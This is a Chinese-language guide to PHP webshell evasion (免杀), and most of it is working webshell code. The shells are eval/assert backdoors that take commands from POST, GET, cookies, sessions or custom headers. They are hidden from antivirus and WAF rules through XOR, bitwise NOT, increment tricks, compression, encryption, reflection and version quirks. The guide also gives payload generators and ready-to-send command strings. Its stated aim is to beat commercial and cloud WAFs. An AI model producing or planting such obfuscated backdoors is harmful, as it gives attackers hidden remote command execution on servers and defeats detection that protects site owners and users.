Php Webshell免杀

远控免杀系列 https://github.com/TideSec/BypassAntiVirus https://www.freebuf.com/articles/system/227461.html

php webshell免杀 https://paper.seebug.org/3044/ https://www.freebuf.com/articles/web/343192.html https://tttang.com/archive/1740/#toc_22 免杀工具https://www.secpulse.com/archives/184357.html

java免杀 https://tttang.com/archive/1739/ https://tttang.com/archive/1315/

webshell的免杀远比木马免杀容易得多,其实我们的目光不能再放在什么某狗,某盾,某塔,这些waf上,应该将目标定为于新型的云waf上。

PHP免杀

位运算

取反

如图示,对phpinfo取反,再取反,仍然得到phpinfo,但是可以利用它进行一些对数字字母过滤的绕过

paylaod: (~%8F%97%8F%96%91%99%90)();

<?php 
$a=urlencode(~'assert');
echo $a;
echo '666';
$b=urlencode(~'eval($_POST[1]);');
echo $b;

shell

?cmd=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4);
?cmd=$_=~%9E%8C%8C%9A%8D%8B;$__=~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4;$_($__);

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过(‘phpinfo’)();来执行函数,第一个括号中可以是任意PHP表达式。

异或

在PHP中两个变量进行异或时,会先将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完又将结果从二进制转换成ASCI值,再转换成字符串。

这里有一个异或构造的脚本, 相信聪明的你一看就知道怎么回事了

valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "

answer = str(input("请输入进行异或构造的字符串:"))

tmp1, tmp2 = '', ''
for c in answer:
  for i in valid:
    for j in valid:
      if (ord(i) ^ ord(j) == ord(c)):
        tmp1 += i
        tmp2 += j
        break
    else:
      continue
    break
print("tmp1为:",tmp1)
print("tmp2为:",tmp2)

那么怎么利用呢?

下面是几个例子

需要注意的是,由于我们的Payload中含有一些特殊字符,我们传参的时候需要对Payload进行一次URL编码。

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");  //变量$__值为字符串'_POST'
mess=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);&_=print_r(show_source('p.php'));
<?php
$_ = "!((%)("^"@[[@[\\";   //构造出assert
$__ = "!+/(("^"~{`{|";   //构造出_POST
$___ = $$__;   //$___ = $_POST
$_($___[_]);   //assert($_POST[_]);
${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=命令或函数  
${"`{{{"^"?<>/"}['+']();&+=命令   //$_GET[+]

自增

个人认为拿到自增的初始值是自增rce最精髓的部分之一

  • 在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为"Array"。再取这个字符串的第一个字母,就可以获得"==A=="。

    <?php
    $a = ''.[];
    var_dump($a); //Array
    
  • $++对变量进行了自增操作,由于我们没有定义的值,PHP会给赋一个默认值NULL==0,由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字

    <?php
    $_++;
    var_dump($_);  //1
    
  • $__没有定义,默认为Null也即==0==

    <?php
    var_dump($__);

    那++$__就是==1==

    <?php
    var_dump(++$__);
  • ==NAN==

     <?php
     echo ((_/_).'');

    ==N==

    <?php
    echo ((_/_).''){$_};

payload

初始

<?php
$_=[].'';   //得到"Array"
$___ = $_[$__];   //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___;   //$__="A"
$_ = $___;   //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$___ .= $__;   //$___="AS"
$___ .= $__;   //$___="ASS"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;   //得到"E",此时$__="E"
$___ .= $__;   //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++;   //得到"R",此时$__="R"
$___ .= $__;   //$___="ASSER"
$__++;$__++;   //得到"T",此时$__="T"
$___ .= $__;   //$___="ASSERT"
$__ = $_;   //$__="A"
$____ = "_";   //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"P",此时$__="P"
$____ .= $__;   //$____="_P"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"O",此时$__="O"
$____ .= $__;   //$____="_PO"
$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$____ .= $__;   //$____="_POS"
$__++;   //得到"T",此时$__="T"
$____ .= $__;   //$____="_POST"
$_ = $$____;   //$_=$_POST
$___($_[_]);   //ASSERT($POST[_])

强化

<?php
$__=++$____;
--$__;
$____=((_/_).''){$__};//NAN
$_____=++$____;//O
++$____;
$______=$____;//p
++$____;++$____;++$____;
$_______=$____;//S
++$____;
$________=$____;//T
$_________=$______.$_____.$_______.$________;//POST
$_________='_'.$_________;//_POST
${$_________}{_}(${$_________}{__});//$_POST[_]($_POST[__])

shell:
?cmd=$__=++$____;--
$__;$____=((_/_).''){$__};$_____=++$____;++$____;$______=$____;++$____;++$____;++$____;$___
____=$____;++$____;$________=$____;$_________=$______.$_____.$_______.$________;$_________='
_'.$_________;${$_________}{_}(${$_________}{__});&_=system&__=cat /flag

究极强化

<?php
$_=(_/_._)[_]; //N
$_++; //o
$__=$_.$_++;//PO
$_++;$_++;
$_=_.$__.++$_.++$_;//_POST
$$_[_]($$_[__]);//$_POST[$_POST[__]] 注意。这里的__也可以替换成%FA这样的特殊字符减少一个字符占用

cmd=$_=(_/_._)[_];$_%2B%2B;$%FA=$_.$_%2B%2B;$_%2B%2B;$_%2B%2B;$_=_.$%FA.%2B%2B$_.%2B%2B$_;$$_[_]($$_[%FA]);&_=system&%FA=cat /flag

编码

可以使用一些函数处理字符串

ucwords()  //把每个单词的首字符转换为大写
ucfirst()  //首字符转换为大写
trim()  //移除字符串两侧的字符
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr()  //函数返回字符串的一部分
strtr()  //函数转换字符串中特定的字符
strtoupper()  //把所有字符转换为大写
strtolower()  //把所有字符转换为小写
strtok()  //函数把字符串分割为更小的字符串
str_rot13()  //函数对字符串执行 ROT13 编码
chr()  //从指定 ASCII 值返回字符
hex2bin() //把十六进制值转换为 ASCII 字符
bin2hex() //ASCII 字符的字符串转换为十六进制值
gzcompress()、gzdeflate()、gzencode()  //字符串压缩
gzuncompress()、gzinflate()、gzdecode()  //字符串解压
base64_encode()  //base64编码
base64_decode()  //nase64解码
pack()  //数据装入一个二进制字符串
unpack()  //从二进制字符串对数据进行解包

gzcompress系列

可以看到这里解压后的内容变成了一堆乱码,在这里值得注意的是,如果我们利用方式依旧像base64一样是行不通,因为这一串乱码是无法提过字符串的形式准确的返回给服务端的

<?php
$a = gzcompress("abc");
echo "压缩后: ".$a;

echo "<br>解压后: ".gzuncompress($a);
?>

再次利用base64编码,如果没有经验的兄弟可能会认为这是多此一举,我直接用base64不就完了么,其实在真正的对抗当中,很多安全设备是可以识别base64编码的,可以自动解码判断解码后的内容。这一不其实就是为了,防止被解码后,内容被识别

<?php
$func = gzuncompress(base64_decode($_GET["func"]));
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($func);
?>

2.伪装成文件,以二进制方式传输

这种发送迷惑性比较大,很少有waf会去识别二进制流中的内容,顶多就是一些简单的正则表达式去匹配一些字符串,乱码根本就不全去识别

由于不能直接防止粘贴,因此需要在本地生成二进制文件

<?php
$a = gzcompress("phpinfo();");
file_put_contents("123.txt",$a);
?>

在本地搭建一个上传页面只为获取数据包

源码如下

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="utf-8" />
    <title>文件上传</title>
</head>
<body>
<form method="post" enctype="multipart/form-data" action="">
    <input type="file" name="filename">
    <button type="submit" >上传</button>
</form>
</body>
</html>
<?php
printf($_FILES);

pack系列

<?php

$func=pack("H14","706870696e666f");

$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($func);

和hex2bin非常相似,其实pack函数比hex2bin强大的多

unpack(format,data)

data。规定被解包的二进制数据。

format。规定在解包数据时所使用的格式。
可能的值:

a - NUL 填充的字符串
A - SPACE 填充的字符串
h - 十六进制字符串,低位在前
H - 十六进制字符串,高位在前
c - signed char
C - unsigned char
s - signed short(总是16位, machine 字节顺序)
S - unsigned short(总是16位, machine 字节顺序)
n - unsigned short(总是16位, big endian 字节顺序)
v - unsigned short(总是16位, little endian 字节顺序)
i - signed integer(取决于 machine 的大小和字节顺序)
I - unsigned integer(取决于 machine 的大小和字节顺序)
l - signed long(总是32位, machine 字节顺序)
L - unsigned long(总是32位, machine 字节顺序)
N - unsigned long(总是32位, big endian 字节顺序)
V - unsigned long(总是32位, little endian 字节顺序)
f - float(取决于 machine 的大小和表示)
d - double(取决于 machine 的大小和表示)
x - NUL 字节
X - 备份一个字节
Z - NUL 填充的字符串
@ - NUL 填充绝对位置

此函数提供了多中格式,可以将文件或者流量变得更加复杂

base家族

<?php
$a = 'd2hvYW1p';
echo base64_decode($a).'';
?>

这种方法没有什么特别的用处,但是可以尝试base16或base32与其他方法搭配使用,效果是不错的!

rot13

<?php
$a=str_rot13('riny');
$a($_POST['110']);
?>

rot13对eavl函数进行加密,即"riny"(可以通过这种方式绕过函数的正则匹配)

加密函数与自定义加密函数

openssl加密函数

openssl_encrypt方法详解:

openssl_encrypt($data, $method, $key, $options = 0, $iv = "", &$tag = NULL, $aad = "", $tag_length = 16)

参数:

1.$data:加密明文
2.$method:加密方法: 可以通过openssl_get_cipher_methods()获取有哪些加密方式
3.$passwd:加密密钥[密码]
4.$options:数据格式选项(可选)【选项有:】:0,OPENSSL_RAW_DATA=1,OPENSSL_ZERO_PADDING=2,OPENSSL_NO_PADDING=3
5.$iv:密初始化向量(可选),需要注意:如果method为DES−ECB,则iv无需填写
6.$tag:使用 AEAD 密码模式(GCM 或 CCM)时传引用的验证标签(可选)
7.$aad:附加的验证数据。(可选)
8.$tag_length:验证 tag 的长度。GCM 模式时,它的范围是 4 到 16(可选)

openssl_decrypt方法详解:

openssl_decrypt($data, $method, $password, $options = 1, $iv = "", $tag = "",  $aad = "")
参数:

1.$data:要解密的加密消息。
2.$method:解密方法:可以通过openssl_get_cipher_methods()获取有哪些解密方式
3.$passwd:解密密钥[密码]
4.$options:数据格式选项(可选)【选项有:】0,OPENSSL_RAW_DATA=1,OPENSSL_ZERO_PADDING=2,OPENSSL_NO_PADDING=3
5.$iv:密初始化向量(可选),需要注意:如果method为DES−ECB,则iv无需填写
6.$tag:AEAD密码模式下的身份验证标签(可选)
7.$aad:附加的验证数据。(可选)

函数基本使用:

<?php
// 要加密的字符串
$data = 'demo';
// 密钥
$key = '123456';
// 加密数据 'AES-128-ECB' 可以通过openssl_get_cipher_methods()获取
$encrypt = openssl_encrypt($data, 'AES-128-ECB', $key, 0);
echo "加密后: ".$encrypt;

//密钥
$key = '123456';
// 解密数据
$decrypt = openssl_decrypt($encrypt, 'AES-128-ECB', $key, 0);
echo "<br>解密后: ".$decrypt;

实际利用:

<?php
$key = "password";

$fun = openssl_decrypt($_GET['func'], 'AES-128-ECB', $key, 0);
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);

自己写加密算法

这种方式也比较简单,在很多ctf题目中都喜欢考与,或,取反,异或等进行绕过,其中可以直接用他们进行加密操作,当然如果学过密码学,一些简单的加密方式其实也行,凯莎密码,维吉尼亚密码,替换加密等都是可以尝试的,但是更复杂的算法还是建议,能使用现成的扩展就直接用,没必要花太多时间去研究这些算法。

下面就以异或加密为例:

<?php

$key = "password";

//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
    $fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);

拼接

<?php $k="e"."v"."a"."l"; $k(${"_PO"."ST"} ['110']);?>

我们可以将敏感函数拆分,然后做一个简单的敏感函数免杀!其次也可以使用下面的arry数组结构函数进行免杀。

<?php
$a = substr_replace("xxser","asser",-3);
$b = array('',$a);
$c = $b[1].chr('116');
$fun=preg_replace("/xx/","",$c);
$d = substr_replace("",$fun,0);
$d ($_POST['110']);
?>

<?php
$func = $_GET["func"];
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($func);
?>

混淆

<?php 
function a() 
{ 
return "/*110110110110*/".$_POST['110']."/*110110110110**/"; 
} 
@eval(a()); 
?>

单纯的字符串变化直接被杀的死死的,因此我们还需要配合其他无用字符去混淆视听,进而增强免杀效果!

<?php $a = str_replace(x,"","xexaxvxlx"); $a(@$_POST["110"]); ?>

为了避免被检测到,可以参考文件上传的原理(重点是想办法造成溢出),这样的后果就是文件变大,不过适合搭配图片马使用。

函数特征

函数替换

array_map():函数基本上是将数组的每个元素发送到用户自定义的函数中进行修改或处理,然后返回一个具有该函数修改后新值的数组。

array_filter():通过函数过滤掉数组中的元素

array_reduce():发送数组中的值到用户自定义函数,并返回一个字符串

array_diff_uassoc():比较两个数组的键名和键值(使用用户自定义函数比较键名),并返回差集

array_udiff():比较两个数组的键值(使用用户自定义函数比较键值),并返回差集

array_udiff_uassoc():通过使用自定义函数比较键和值,计算数组的差集

array_intersect_assoc():比较两个数组的键名和键值,并返回交集

array_uintersect():比较两个数组的键值(使用用户自定义函数比较键值),并返回交集

array_uintersect_uassoc():比较两个数组的键名和键值(使用用户自定义函数进行比较),并返回交集
xml_set_character_data_handler():该函数规定当解析器在 XML 文件中找到字符数据时所调用的函数。如果处理器被成功的建立,该函数将返回 true;否则返回 false
xml_set_default_handler():函数为 XML 解析器建立默认的数据处理器。该函数规定在只要解析器在 XML 文件中找到数据时都会调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE
xml_set_external_entity_ref_handler():函数规定当解析器在 XML 文档中找到外部实体时被调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE

xml_set_notation_decl_handler():函数规定当解析器在 XML 文档中找到符号声明时被调用的函数。

如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE。

xml_set_unparsed_entity_decl_handler():函数规定在遇到无法解析的实体名称(NDATA)声明时被调用的函数。如果处理器被成功的建立,该函数将返回 true;否则返回 false。

尽量去PHP语法手册,找一些及其偏门的函数……..

自定义函数绕过

(可搭配大小写)

我们可以通过我们自定义的函数方式,搭配php的版本和可替换函数绕过WAF的拦截,达到免杀的目的!由于在PHP函数中函数名、方法名、类名 不区分大小写,但推荐使用与定义时相同的名字的时候还可以使得大小写进行绕过,所以大大提升了免杀效果!

<?php 
 function aaa($a){
     return $a;
 }
 function bbb($b){
     return eval($b);
 }
 function post(){
    return @$_POST['110'];
}    
function run(){
    return aaa(bbb)(aaa(post)());
}
aaa(bbb)(aaa(post)());
?>

变形回调

array_walk()  
array_map()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
以上是常见的可待替代函数,但是大部分都被杀的死死的,所以需要混淆才可以使用

数组

<?php
$a = substr_replace("evxx","al",2);
$b = array($arrayName = ($arrayName =($arrayName = array('a' => $b($_POST['110'])))));
?>

可变变量

PHP中有一种变量叫做可变变量,这种变量不是一种基础类型的变量。可变变量是指一个普通变量的值可以作为另一个变量的名称被使用。这句话听起来有些抽象。我们可以通过实例来展示可变变量的定义以及实用。

这个时候我们就可以使用一些多次加密的手段,把eval函数进行一个多次加密,已达到完全免杀的结果

<?php 
$zeo='miansha';
$$zeo=$_POST['110'];
eval($miansha);
?>

类现在是大多数人的常用选择之一,因为类这个方法在过D盾检测的时候效率较高;但是用类自然就少不了魔法函数,我们简单构造一个类的免杀马如下:

<?php 
 class zeo2
 {
   public $b ='';
   function post(){
     return $_POST['x'];
   }
 }
class zeo extends zeo2
{
  public $code=null;
  function __construct(){
          $code=parent::post();
    assert($code);
}
}
$blll = new zeo;
$bzzz = new zeo2;
?>

版本特性

传统的php免杀无非就是各种变形和外部参数获取,对于一些先进的waf和防火墙来说,不论如何解析最终都会到达命令执行的地方,但是如果语法报错的话,就可能导致解析失败了,这里简单说几个利用php版本来进行语义出错的php命令执行方式。

利用特殊符号来引起报错

<?php \echo 'whoami'; ?>

PHP版本:只限于5.2版本

它的要求是能干扰到杀软的正则判断,还要代码能执行。这个可以自己慢慢测试。具体就是利用各种==回车、换行、null和空白字符==,这里我们尝试改造为可连接的一句话木马,配合上面的可变变量

<?php 
$xxxxxxxxxxxxxx='miansha'; 
$$xxxxxxxxxxxxxx=$_POST['110']; 
eval(``.$miansha); 
?>

十六进制字符串

PHP版本:只限于5.3和5.5版本;在php7中不认为是数字,php5则依旧为数字。(友情提示: 5.X可以成功执行命令,php7无法执行)

<?php $s=substr("aabbccsystem","0x6"); $s(whoami) ?>

可以结合垃圾数据,变形混淆,以及大量特殊字符和注释的方式来构造更多的payload,毕竟每家的waf规则不同,配置也不同,与一些传输层面的bypass进行结合产生的可能性就会非常多样

利用在语法不换行来执行命令

PHP版本:只限于7.3.4版本,如果是其他的版本就会报错,所以针对性较强!

<?php
$a = $_GET['function'] ?? 'whoami';
$b = $_GET['cmd'] ?? 'whoami';
$a(null.(null.$b));
?>

小提示:7.0版本的??特性,如果版本为5.x的话就会报错

传参方式

在很多情况下,以请求头作为参数传递并非waf和人工排查的重中之重且非常误导和隐藏,下面就是常用的几种方式

由于Cookie基本上是每个web应用都需要使用到的,php应用在默认情况下,在Cookies请求头中会存在一个PHPSESSID=xxxx这样的cookie,其实这个就可以成为我们的传参位置

<?php
session_start();
$a = "a";
$s = "s";
$c=$a.$s."sert";

$c(base64_decode($_COOKIE["PHPSESSID"]));

?>

如果不仔细排查是不容易发现的,由于webshell的session和网站本身业务并没有关系,所以这个PHPSESSID可以随意修改

Session

session的传参方式其实算是一种间接传产方式,由于session的内容是需要通过源码设置的,并不能想cookie一样直接在请求头中修改,因此需要准备两个文件,一个是将输入的参数传入session,另一个就是将session中的内容取出并执行命令

这里依旧沿用上面的cookie传参

给session传入参数

<?php
session_start();
$_SESSION['dmeo']=base64_decode($_COOKIE["PHPSESSID"]);

?>

取出session内容并执行,其实下面的代码是可以直接插入到正常页面中的,增加迷惑性,因为一般正常页面返回的html代码是比较多的,如果我们将内容回显到正常页面当中是比较难发现的

<?php
session_start();
$a = "a";
$s = "s";
$c=$a.$s."sert";
$c($_SESSION['dmeo']);

?>

在test.php下通过cookie添加session,注意这个PHPSESSID的值其实就是一个session文件,每当有一个新的sessionid都会生成一个新的session文件,因此这个文件名我们是可以随意修改的,在这里的sessionid不但是文件名,而且也是我们的base64加密后的命令

自定义头(好用)

自定义请求头其实也是作为一种伪装的请求方式,你可以选择完全自定义一个请求头进行参数传递,但是很多waf也会检测一些没出现过的请求头容易被识别出来,且一旦在日志中被找到一个以这种方式传参,很容易就能查找到使用数据包,还是不稳当,与cookie相比,cookie本身就是一堆随机数不好区分

<?php
session_start();
$a = "a";
$s = "s";
$c=$a.$s."sert";
$c(getallheaders()['Demo']);

?>

php伪协议

<?php
$q=$_GET[1];
file_get_contents("php".$q)($_GET[2]);

特征绕过

waf毕竟还是通过特征判断的,只有知道了,waf匹配的正则表达式大概是什么样的,webshell的免杀有真正的意义

数据特征绕过

1. $_xxx[xxx] 绕过

看这个特征可以发现很明显的是一个获取参数的语句,但为什么我会将起列举出来了,因为在很多情况下,现在的web应用大多都是使用的框架,基本上所有的获取请求参数内容的方法都是经过框架封装过的,最原始的获取参数内容的方式已经非常少见了,很容易通过一些命令如linux下的find命令通过正则表达式即可找到对应的webshell,很容易被发现,因此不使用该特征是很有必要的

  • 使用{}来替代[]是在ctf中十分常见的绕过方式
<?php

echo $_GET{"demo"};
foreach
  • foreach语句

利用复合变量加foreach,获取参数中的内容,其特点并没有[],不容易被识别

<?php
$a = "a";
$s = "s";
$c=$a.$s."sert";
foreach (array('_GET') as $r){
    foreach ($$r as $k =>$v){
        $c($v);

    }
}
自定义请求头

使用自定义的请求头同样是没有上面的特征

<?php
$a = "a";
$s = "s";
$c=$a.$s."sert";
$c(getallheaders()['Demo']);
>

2. $xxx($xxx) 绕过

这个特征大致就是某盾,某狗等的正则表达式匹配的内容,只要去消除此特征即可免杀

““特性

该原理就是"“中的变量不会被当做字符串使用,会被解析,经过测试该方法基本失效

<?php
$a = "a";
$s = "s";
$c=$a.$s."sert";
$f = $_POST[1]
$c("$f");
>
回调函数
<?php
function  demo()
{
    return $_GET["a"];
}

demo()($_GET["b"]);
魔术常量

可以用到的4种魔术常量

__FILE__:返回当前文件的绝对路径(包含文件名)。

__FUNCTION__:返回当前函数(或方法)的名称。

__CLASS__:返回当前的类名(包括该类的作用区域或命名空间)。

__NAMESPACE__:返回当前文件的命名空间的名称。

示例

__FILE__的利用,将webshell的名字改为base64编码后的内容

<?php
base64_decode(basename(__FILE__,".php"))($_POST[1]);

__FUNCTION__的利用,将webshell的名字改为base64编码后的内容

<?php

function assert2(){
    substr(__FUNCTION__,0,6)($_GET[1]);
}
assert2();

__CLASS__的利用

<?php

class assert2{
    static function demo(){
        substr(__CLASS__,0,6)($_GET[1]);
    }
}
assert2::demo();

__NAMESPACE__的利用

<?php

namespace assert2;
substr(__NAMESPACE__,0,6)($_GET[1]);
自定义常量
<?php
define("DEMO",$_GET[1]."ert");
substr(DEMO,0)($_GET[2]);
分离免杀

顾名思义,就是将一个马拆分成两部分,及使用file_get_contents()将内容读取出来,为什么不使用include等这些文件包含函数了?因为webshell的免杀在于动态函数的调用,最终还是要拼接在一起,绕过的原则其实就是绕过waf的正则表达式,如果直接include其实和写在一个文件里没啥区别

<?php
file_get_contents("test.txt")($_GET[1]);
注释及空白符混淆

这种方式和sql注入差不多,原理就是php允许在括号中添加注释符和空白符并不会影响代码正常运行

<?php
$func = $_GET["func"];
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c(//);//(
    $func//);//);
)
?>
反射调用

反射类及反射类方法

<?php
    $class          = new \ReflectionClass('Site\\Website');  // 以类名 Website 作为参数,即可创建 Website 类的反射类
    $properties     = $class->getProperties();      // 以数组的形式返回 Website 类的所有属性
    $property       = $class->getProperty('name');  // 获取 Website 类的 name 属性
    $methods        = $class->getMethods();         // 以数组的形式返回 Website 类的所有方法
    $method         = $class->getMethod('getName'); // 获取 Website 类的 getName 方法
    $constants      = $class->getConstants();       // 以数组的形式获取所有常量
    $constant       = $class->getConstant('TITLE'); // 获取 TITLE 常量
    $namespace      = $class->getNamespaceName();   // 获取类的命名空间
    $comment_class  = $class->getDocComment();      // 获取 Website 类的注释文档,即定义在类之前的注释
    $comment_method = $class->getMethod('getUrl')->getDocComment();  // 获取 Website 类中 getUrl 方法的注释文档
?>

通过属性名免杀

<?php
class a{
    public $assert2;
}

$class = new ReflectionClass(new a());
substr($class->getProperties()[0]->name,0,6)($_GET[1]);

通过注释免杀

<?php
/**
 *phpinfo*/
class A
{
    public static function B()
    {
        return $_POST[1];
    }
}

$re = new ReflectionClass(new A());
$a = str_ireplace(" ","",str_ireplace("\n","",str_ireplace("/","",str_ireplace("*","",$re->getDocComment()))));

substr($a,1)(A::B());
类调用

类方法调用

<?php
class a{
    function demo(){
        $a = "a";
        $s = "s";
        $c=$a.$s."sert";
        return $c;
    }
}

$s = new a();
$s->demo()($_GET[1]);

类的静态方法

<?php
class a{
    static function demo(){
        $a = "a";
        $s = "s";
        $c=$a.$s."sert";
        return $c;
    }
}

a::demo()($_GET[1]);

扩展免杀

框架免杀

php文件内容免杀

https://fushuling.com/index.php/2024/07/01/dedecms%e5%90%8e%e5%8f%b0rce%e7%9a%84%e4%b8%80%e4%ba%9b%e6%96%b9%e6%b3%95/

看这一篇文章感觉好玩的挺多的,可以作为对内容的免杀和绕过记一下

1.截断函数名

<?php 
function systema(){
    substr(__FUNCTION__, -7,-1)("whoami");
}
systema();

2.截断方法名

<?php 
class test{
    function systema(){
        substr(__METHOD__, -7,-1)("whoami");
    }
}
$a = new test();
$a->systema();

3.截取文件名

需命名为想要执行的函数

<?php
substr(__FILE__, -10,-4)('whoami');
?>

4.mbereg_replace

作用类似于preg_replace,支持传入e模式的正则表达式,不过这个别名在PHP7.3被移除了,只能在7.2及以下使用

image-20240806174727326

5.函数重命名

<?php
use function system as test;

test('whoami');

6.类的继承

<?php
class test extends ReflectionFunction {}
$f = new test('system');
$f->invoke('whoami');

7.include_once

只ban了include没ban include_once,我们可以上传个图片上去然后包含他

8.require_once

同上

9.匿名类

<?php
$f = new class('system') extends ReflectionFunction {};
$f->invoke('whoami');

10.自增实现的无字母数字webshell

<?php $_=((_/_).$_)[0]; //同上,取NAN的第一个字母N
$_++; //O
$__=$_.$_++; //这里进行了++的,所以$_等于P, $__=PO
$_++; // Q
$_++; // R
$_++; // S
$_=_.$__.$_.++$_; //这里也进行了++的,所以最后一位是T, $_ = _POST
$$_[_]($$_[____]);

11.字符拼接

用上面那个无字母数字RCE的时候,我发现他这个好像压根不用那么复杂,直接字符拼接都能RCE。。。

<?php 
$a = '_POST';
$$a[1]($$a[0]);

12.异或实现的无字母数字webshell

<?php
$__=("#"^"|");$__.=("."^"~");$__.=("/"^"`");$__.=("|"^"/");$__.=("{"^"/");$$__[_]($$__[__]);

13.取反

生成器:

<?php
$ans1='system';//函数名
$ans2='whoami';//命令
$data1=('~'.'urldecode('.'\''.urlencode(~$ans1).'\'');//通过两次取反运算得到system
$data2=('~'.'urldecode('.'\''.urlencode(~$ans2).'\'');//通过两次取反运算得到dir
echo ('('.$data1.'))'.'('.$data2.'))'.';');
#(~urldecode('%8C%86%8C%8B%9A%92'))(~urldecode('%88%97%90%9E%92%96'));

14.转hex

def hex_payload(payload):
    res_payload = ''
    for i in payload:
        hex_representation = "\\x" + hex(ord(i))[2:]  # Double backslashes to escape `\x`
        res_payload += hex_representation
    return res_payload

if __name__ == "__main__":
    payload = "system"  # Assign the payload directly
    converted_payload = hex_payload(payload)
    print("[+] '{}' converted to hex: '{}'".format(payload, converted_payload))
#[+] 'system' converted to hex: '\x73\x79\x73\x74\x65\x6d'
<?php echo"\x73\x79\x73\x74\x65\x6d"("whoami");

15.getenv

<?php
getenv('HTTP_E')('whoami');

getenv会获取请求头中E的值然后拼接执行函数

0%